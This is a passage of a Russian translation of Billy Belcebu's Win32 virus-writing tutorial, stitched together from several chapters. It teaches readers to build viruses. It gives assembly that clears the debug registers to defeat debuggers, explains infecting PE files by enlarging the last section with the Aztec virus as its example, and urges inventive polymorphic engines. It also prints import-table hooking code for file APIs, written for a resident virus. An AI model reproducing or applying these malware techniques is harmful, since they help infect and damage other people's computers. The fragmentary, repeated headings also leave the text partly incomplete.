    Если ваc беспокоят отладочные регистры (DR?), мы сталкиваемся с небольшой проблемой: они привилегированны в WinNT. Прием состоит в следующей простой вещи: обнулить DR0, DR1, DR2 и DR3 (они наиболее часто используются отладчиками в качестве хардверных брикпоинтов). Поэтому следующим кодом вы доставите отладчику немного неприятностей:
    xor edx,edx mov dr0,edx mov dr1,edx mov dr2,edx mov dr3,edx
    Хаха, разве это не смешно? :)

    + Заголоки PE-секции +

    + Заголоки PE-секции +
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
    Это был нормальный незараженный файл. Ниже идет тот же самый файл, но зараженный моим Aztec'ом (Вирус-пример для Ring-3, смотри ниже).
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    + Заголовки PE-секций +

    + Заголовки PE-секций +
    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·
    Я надеюсь, что это помогло вам понять, что мы делаем, когда заражаем PE, увеличивая его последнюю секцию. Чтобы вам не сравнивать каждую из этих таблиц друг с другом, я составил для вас следующим маленький список:
    + Заголовки PE-секций +
    Код очень прост. Для тех, кто не понимает ничего без кода, взгляните на Win32.Aztec, который полностью объяснен в следующей главе.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    Я бы мог привести пример

    Если что-то непонятно, пишите мне (автору этого текста, а не переводчику! - прим. пер.). Я бы мог привести пример простого пер-процессного резидентного вируса, но единственный подобный вирус, который я написал, слишком сложен и у него слишком много фич, поэтому он будет для вас непонятен :).
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>

    Ваш полиморфный движок скажет о вас все как о кодере, поэтому я не буду обсуждать это далее. Просто сделайте это сами вместо копирования кода. Только не делайте типичный движок с простой шифрующей операцией и примитивным мусором вроде MOV и т.д. Используйте все ваше воображение. Например, есть много видов вызовов, которые можно сделать: три стиля (что я объяснял выше), а кроме этого, вы можете генерировать кадры стека, PUSHAD/POPAD, передавать параметры им через PUS (а после использовать RET x) и много другое. Будьте изобретательны!
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>

    Заключительные слова

    Я должен поблагодарить троих людей, которые очень сильно помогли мне во время написания моего первого вируса под Ring-0: Super, Vecna и nIgr0. Ладно, что еще сказать? Гмм... да. Ring-0 - это наш сладкий сон под Win9x. Но у него ограниченная жизнь. Даже если мы, VXеры, найдем способ получить привилегии нулевого кольца в таких системах как NT, Micro$oft сделает патч или сервис-пак, чтобы пофиксить эти возможные баги. Как бы то ни было, писать вирус нулевого кольца очень интересно. Это помогло мне больше узнать о внутреннем устройстве Windoze. Я надеюсь, что это поможет также и вам. Обратите внимание, что вирусы нулевого кольца очень заразны. Система постоянно пытается открыть какие-нибудь файлы. Просто взгляните на один из самых заразных и быстро распространяющихся вирусов нулевого кольца CIH.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    Я надеюсь, что вы сможете использовать эти несколько простых антиотладочных приемов в ваших вирусах без особых проблем.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    [ Мой перехватчик API-функций ]

    Далее следует мое дополнение к моей процедуре GetAPI_II. Она базируется на примерно следующей структуре:
    db ASCIIz_API_Name dd offset (API_Handler)
    Например:
    db "CreateFileA",0 dd offset HookCreateFileA
    HookCreateFileA - это процедура, которая обрабатывает перехваченную функцию. Код, который я использовал с этими структурами, следующий:
    ;---[ CUT HERE ]-------------------------------------------------------------
    HookAllAPIs: lea edi,[ebp+@@Hookz] ; Указатель на первую API-функцию nxtapi: push edi ; Сохраняем указатель call GetAPI_IT ; Получаем его из таблицы импортов pop edi ; Восстанавливаем указатель jc Next_IT_Struc_ ; Не получилось? Проклятье... ; EAX = адрес API-функции ; EBX = указатель API-функции ; в таблице импортов
    xor al,al ; Достигаем конца имени API-функции scasb jnz $-1
    mov eax,[edi] ; Получаем смещение обработчика add eax,ebp ; Приводим в соотве. с дельта-см. mov [ebx],eax ; И помещаем в импорты! Next_IT_Struc: add edi,4 ; Получаем следующий элемент ст-ры! cmp byte ptr [edi],"." ; Достигли пследней API-ф-ции? Гр.. jz AllHooked ; Мы перехватили все jmp nxtapi ; Следующий оборот цикла AllHooked: ret
    Next_IT_Struc_: xor al,al ; Получаем конец строки scasb jnz $-1 jmp Next_IT_Struc ; И возвращаемся обратно :)
    @@Hookz label byte db "MoveFileA",0 ; Несколько примеров dd (offset HookMoveFileA)
    db "CopyFileA",0 dd (offset HookCopyFileA)
    db "DeleteFileA",0 dd (offset HookDeleteFileA)
    db "CreateFileA",0 dd (offset HookCreateFileA)
    db "." ; Конец массива :) ;---[ CUT HERE ]-------------------------------------------------------------
    Я надеюсь, что здесь все достаточно понятно :).

    

        Работа с информацией: Безопасность - Защита - Софт - Криптография